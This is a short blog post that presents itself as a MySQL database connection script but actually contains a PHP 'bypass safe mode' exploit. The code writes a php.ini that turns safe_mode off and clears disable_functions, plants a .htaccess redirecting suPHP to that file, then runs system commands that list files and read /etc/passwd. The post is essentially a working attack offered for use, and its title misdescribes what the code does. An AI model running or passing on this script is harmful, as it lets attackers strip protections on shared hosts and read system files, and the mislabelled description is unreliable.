lundi 1 octobre 2012

SQL database connection script

Hi all;
In this article im gonna give you a script that with you can connect to mysql database by putting informations of the mysql database
Source code :
------------------------------------------------------------------------------------------------------------------------
<?

/*

bypass safe mode exploit by SIlent Haxor

*/

echo "[+] Start...\n";

$bypfile=fopen('php.ini','w+');

$stuffile=fopen('.htaccess','w+');

if($bypfile and $stuffile!= NULL){

echo "[+] evil files created succes ! \n";

}

else{

echo "[-] access denial ! \n";

}

$byprullz1="safe_mode = OFF

";

$byprullz2="disable_functions = NONE";

$dj=fwrite($bypfile,$byprullz1);

$dj1=fwrite($bypfile,$byprullz2);

fclose($bypfile);

if($dj and $dj1!= NULL){

echo "[+] php.ini writed \n";

}

else{

echo "[-] 404 php.ini not found !\n";

}

$breakrullz="suPHP_ConfigPath /home/nurorme/public_html/php.ini"; // replace this '/home/user/public_html' by ur path

$sf7=fwrite($stuffile,$breakrullz);

fclose($stuffile);

if($sf7!= NULL){

echo "[+] evil .htaccess writing...done\n";

echo "[+] exploited by success!\n\n\n";

echo "\t\t\t[+] programmed by Hunter\n";

echo "\t\t\t[+] home : :D";

echo "\t\t\t[+] Greetz : My old memories ..\n";

}

else{

echo "[-] evil .htaccess Not found!\n";

}

system("pwd;ls -lia;uname -a;cat /etc/passwd");

#EOF

?>

-------------------------------------------------------------------------------------------------------------------------------------------
 I wish you'll apreciate it and Bye .

Aucun commentaire:

Enregistrer un commentaire